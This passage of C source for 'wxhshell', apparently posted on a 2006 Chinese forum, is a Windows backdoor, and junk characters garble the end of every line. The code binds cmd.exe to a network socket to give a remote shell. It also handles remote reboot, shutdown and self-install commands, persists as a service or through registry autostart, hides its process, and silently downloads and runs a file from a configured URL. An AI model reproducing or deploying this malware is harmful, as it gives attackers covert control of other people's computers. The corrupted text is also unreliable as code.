a*e|>pDO  
    switch(cmd[0]) { $[L)f| l  
  =r@ie>* U  
  // 帮助 6.(]}?g1f  
  case '?': { a'L7y%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :W1tIB  
    break; )GF  
  } 07E".T%Ts  
  // 安装 _ 3-,3ia  
  case 'i': { ~"hAb2  
    if(Install()) hPX2 Bp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YpbdScz  
    else ,m_&eF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Funao>  
    break; ,YzC)(-  
    } :5qqu{GL  
  // 卸载 Iclan\q#y  
  case 'r': { 'TEwU0<%  
    if(Uninstall()) .Jnp{Tet  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3k|~tVM  
    else PhaQ3%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %%H. &*i,  
    break; itvy[b-*  
    } 9Y*VzQE  
  // 显示 wxhshell 所在路径 kA->xjk  
  case 'p': { =V4_DJ(&  
    char svExeFile[MAX_PATH]; vzT6G/  
    strcpy(svExeFile,"\n\r"); c_j )8  
      strcat(svExeFile,ExeFile); WLA_YMlA  
        send(wsh,svExeFile,strlen(svExeFile),0); RdpQJ)3F  
    break; 62KW HB9S  
    } v \L Ip  
  // 重启 ::h02,y;1%  
  case 'b': { =,1zl}PR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }j5@\c48  
    if(Boot(REBOOT)) I(r5\A=   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p>hCh5  
    else { :X'U`jE  
    closesocket(wsh); )SO1P6  
    ExitThread(0); V3Rnr8  
    } -2m Ogv  
    break; F$pd]F!#  
    } & m ";D  
  // 关机 -O,O<tOm  
  case 'd': { & ;x1Rx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gB'Ah-@,P  
    if(Boot(SHUTDOWN)) [!|d[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !t [%'!v  
    else { d~oWu [F*  
    closesocket(wsh); R^w >aZ oJ  
    ExitThread(0); ?VHwYD.B  
    } 5v03<m0`y  
    break; AhFI, x  
    } \|4MU"ri  
  // 获取shell J}`$WL:  
  case 's': { )^a#Xn3z  
    CmdShell(wsh); [/`Hz]R  
    closesocket(wsh); GA@Q:n8UuR  
    ExitThread(0); 70l;**"4  
    break; ~$`YzK^*X  
  } p!5JO4F$  
  // 退出 OKH~Y-%<  
  case 'x': { 4%.2 =  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yeh adm\  
    CloseIt(wsh); k*+ZLrT  
    break; oXOO 10  
    } 4Og GZ  
  // 离开 in|7ucSlg  
  case 'q': { At_Y$N:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s)ajy^6'M  
    closesocket(wsh); 1$!K2=%OXj  
    WSACleanup(); \7?MUa.4  
    exit(1); AZ@Zo'  
    break; Bwvc@(3v  
        } [Z&s0f1Qb  
  } |gxB; GG  
  } kj"_Y"q=  
WX$^[^=HC  
  // 提示信息 544I#!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9'r3L)[  
} ;DWp>jgy  
  } z Clm'X/  
S:T>oFUot  
  return; n`2"(7Wj  
} 5 /VB'N#7s  
~2qG" 1[\  
// shell模块句柄 /hy!8c7  
int CmdShell(SOCKET sock) dD2e"OIX  
{ dK`O,[}  
STARTUPINFO si; ?26[%%  
ZeroMemory(&si,sizeof(si)); 3cQmxp2*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EJ|ZZYke!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !ZcA Ltq  
PROCESS_INFORMATION ProcessInfo; Cjb p-  
char cmdline[]="cmd"; v=^)`C6Ma  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yxq!. 72  
  return 0; h |  
} R$3+ 01j|  
d-2I_ )9  
// 自身启动模式 qMj e,Y  
int StartFromService(void) e?fjX-  
{ KFrmH  
typedef struct AxQ/  
{ !f2>6}hE  
  DWORD ExitStatus; ]$*_2V3VA$  
  DWORD PebBaseAddress; D#AxgF_He  
  DWORD AffinityMask; Sk%|-T(d$  
  DWORD BasePriority; Ceb i9R[  
  ULONG UniqueProcessId; n8ya$bc  
  ULONG InheritedFromUniqueProcessId; Q&\ksM  
}   PROCESS_BASIC_INFORMATION; /JY i^rZ  
x1ex}_\  
PROCNTQSIP NtQueryInformationProcess; :Fk&2WsW:  
U} h |Zk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q.tL'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #>oO[uaY  
Hs!CJ(0"y  
  HANDLE             hProcess; C#cEMKa  
  PROCESS_BASIC_INFORMATION pbi; ,6)y4=8 L  
cjpl_}'L:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |n%N'-el  
  if(NULL == hInst ) return 0; )[Cm*Xxa$  
$e\R5L u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0]W/88ut*u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OH~qJ <  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '0?E|B]Cp%  
Q)dns)_x  
  if (!NtQueryInformationProcess) return 0; 'hWRwP|  
lO@Ba;x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $dUN+9  
  if(!hProcess) return 0; $5 [RR  
6lFsN2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K6Ua~N^  
>,1LBM|0u  
  CloseHandle(hProcess); Y5 pNKL  
{1c eF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (9%%^s]uPT  
if(hProcess==NULL) return 0; 0:S)2"I58p  
j+_75t`AZ  
HMODULE hMod; Un+Jz ?Y  
char procName[255]; (\ %y)  
unsigned long cbNeeded; JC3)G/m(03  
+?'acn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v#G ^W  
$cCB%}  
  CloseHandle(hProcess); q>Y[.c-  
ddxv.kIj.  
if(strstr(procName,"services")) return 1; // 以服务启动 S?<Qa;  
l"#,O$x"#@  
  return 0; // 注册表启动 V&85<Y%Nl|  
} s*Ll\#  
],4LvIPD  
// 主模块 s|oU$?eA  
int StartWxhshell(LPSTR lpCmdLine) Wn5]2D\vkT  
{ ["9$HL  
  SOCKET wsl; ('oUcDOFTS  
BOOL val=TRUE; JASn\z  
  int port=0; ?a(3~dh|  
  struct sockaddr_in door; Czn7,KE8X  
4v$AM8/o  
  if(wscfg.ws_autoins) Install(); i{0_}"B  
#a:C=GV;4  
port=atoi(lpCmdLine); N<%,3W_-_  
:Tl?yG F  
if(port<=0) port=wscfg.ws_port; 9NAlgET  
sq$|Pad[  
  WSADATA data; 6R j X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R PQ)0.O7  
 X'<xw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;C%EF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1C{n\_hR  
  door.sin_family = AF_INET; +J9lD`z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M IJ~j><L  
  door.sin_port = htons(port); Sq QB>;/p  
fZC,%p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y#,MFEd  
closesocket(wsl); ,vj^AXU  
return 1; v2Y=vr  
} ){~.jP=-#  
1g+<`1=KT  
  if(listen(wsl,2) == INVALID_SOCKET) { V}?5=f'  
closesocket(wsl); DEhA8.v  
return 1; CXA8V"@&b/  
} I 3PnyNZ  
  Wxhshell(wsl); Cz%ih#^b  
  WSACleanup(); !T)>q%@ai  
P8f-&(  
return 0; e ^QOn  
+l\Dp  
} T rW3@@}j  
R >TtAm0N  
// 以NT服务方式启动 @UX`9]-P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HN+z7Q8hH  
{ U@WT;:.T  
DWORD   status = 0; i^(<E0vS  
  DWORD   specificError = 0xfffffff; oZCO$a  
HYS7=[hv6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !RI&FcK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5l#)tX.by  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ewY X\  
  serviceStatus.dwWin32ExitCode     = 0; ececN{U/  
  serviceStatus.dwServiceSpecificExitCode = 0; =*I9qjla[?  
  serviceStatus.dwCheckPoint       = 0; J4 <*KL~a  
  serviceStatus.dwWaitHint       = 0; n >'}tT)U  
#XZ?,neY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `4MPXfoBL  
  if (hServiceStatusHandle==0) return; x,+zw9  
 hT[O5  
status = GetLastError(); vEkz 5$  
  if (status!=NO_ERROR) rcOmpgew  
{ ~ p.23G]x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 42M3c&@P  
    serviceStatus.dwCheckPoint       = 0; (iFhn*/ E  
    serviceStatus.dwWaitHint       = 0; JT+P>\\];'  
    serviceStatus.dwWin32ExitCode     = status; gd*\,P  
    serviceStatus.dwServiceSpecificExitCode = specificError; lz>hP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?QgWW  
    return; eM}Xn^}  
  } _F9 c.BH  
;%}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BshS@"8r  
  serviceStatus.dwCheckPoint       = 0; XcXd7e  
  serviceStatus.dwWaitHint       = 0; 8Vx'sJ>r4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R= l/EK  
} .gB*Y!c7  
9ccEF6o0=  
// 处理NT服务事件,比如:启动、停止 VCIG+Gz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A+'j@c\&!  
{ (+@H !>r$$  
switch(fdwControl) y =CemJ[~  
{ GZ"O%: d  
case SERVICE_CONTROL_STOP: iiu\_ a=0b  
  serviceStatus.dwWin32ExitCode = 0; No?pv"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Kxq~,g=t  
  serviceStatus.dwCheckPoint   = 0; d;z`xy(C  
  serviceStatus.dwWaitHint     = 0; 8mi IlB  
  { +q1@,LxN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J<2N~$  
  } ]du pU"VV  
  return; "-9YvB#  
case SERVICE_CONTROL_PAUSE: ?Gb 18m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; li'#< "R?'  
  break; =8]'/b  
case SERVICE_CONTROL_CONTINUE: \6o ~ i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d%<Uh(+:  
  break; W \"cp[b  
case SERVICE_CONTROL_INTERROGATE: E4P P& '  
  break; [30<  0  
}; Gh j[nsoC~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /2c?+04+  
} ^;'3(m=  
n`6vM4rM)  
// 标准应用程序主函数 z~F!zigNAc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 83@+X4ptp  
{ !e?\> '  
E @7! :  
// 获取操作系统版本 u{si  
OsIsNt=GetOsVer(); &{$\]sv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {_ocW@@  
J4<- C\=4  
  // 从命令行安装 `Tab'7  
  if(strpbrk(lpCmdLine,"iI")) Install(); [p(Y|~  
,E_hG3}}  
  // 下载执行文件 ]5^u^  
if(wscfg.ws_downexe) { "ey~w=B$M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DpA)Z ??  
  WinExec(wscfg.ws_filenam,SW_HIDE); yY!jkRq%w  
} 6d_l[N  
{W0@lMrD  
if(!OsIsNt) { `.n[G~*w~1  
// 如果时win9x,隐藏进程并且设置为注册表启动 E@?jsN7  
HideProc(); " `lRX  
StartWxhshell(lpCmdLine); # H4dmnV  
} ruoiG?:T  
else "B.l j)  
  if(StartFromService()) b*$^8%  
  // 以服务方式启动 }hGbF"clqg  
  StartServiceCtrlDispatcher(DispatchTable); 419t"1b  
else L%!jj7,9-  
  // 普通方式启动 #CM2FN:W  
  StartWxhshell(lpCmdLine); h5F1mr1Sa  
@+\OoOK<L  
return 0; $v+g3+7  
}
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只看该作者 1 发表于: 2006-10-10
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